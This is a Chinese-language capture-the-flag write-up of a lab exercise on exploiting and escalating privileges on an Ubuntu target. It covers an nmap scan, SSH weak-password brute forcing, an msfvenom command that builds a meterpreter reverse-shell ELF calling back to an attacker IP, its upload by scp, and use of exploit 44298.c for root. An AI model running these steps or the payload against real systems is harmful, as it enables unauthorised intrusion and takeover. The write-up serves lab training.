PYsystem0033

系统漏洞利用与提权

服务器场景操作系统：Ubuntu （关闭链接）

1. 使用nmap扫描靶机系统，将靶机开放的端口号按从小到大的顺序作为FLAG（形式：[端口1,端口2…,端口n]）提交；

直接用namp扫描

flag{21,22,80}

2. 通过上述端口访问靶机系统，使用弱口令进行登录，将正确的用户名和密码作为FLAG（形式：[用户名,密码]）提交；

先试试爆破ssh用户和密码

利用Kali渗透机生成反弹木马，将生成木马命令执行后提示的第四行的首个单词作为FLAG（形式：[单词]）提交；

msfvenom -p linux/x86/meterpreter/reverse_tcp LHSOT=192.168.48.128 LPORT=444 -f elf -o shell.elf

flag{payload}

对上述木马文件进行修改后上传到靶机系统中，使用MSF开启监听，将获得的当前权限的用户名作为FLAG（形式：[用户名]）提交；

已经有了ssh密码，可以用scp命令上传 scp shell.elf ubuntu@ip:目录

木马已经上传到了靶机中，打开msf，开启监听，得到会话

得到flag

flag{ubuntu}

5. 查看系统内核版本信息，将系统内核版本号作为FLAG（形式：[版本号]）提交；

6.在Kali攻击机中查找可使用的漏洞源码，将找到的漏洞源码文件名作为FLAG（形式：[文件名]）提交；

 Flag[44298.c]

1. 利用上述漏洞源码后获得到的靶机/root下的唯一.txt文件的文件名作为FLAG（形式：[文件名]) 提交；

查看到有一个漏洞，我们去找到这个漏洞位置，同样scp上传，如果你的Kali开启了http服务，还可以把源码复制到你的/var/www/html目录下，在msf里用wget下载，由于我的kali没有，就只演示scp了。

flag{dajvsev.txt}

8. 利用上述漏洞源码后将获得到的靶机/root下的唯一.txt文件的文件内容作为FLAG（形式：[文件内容]）提交；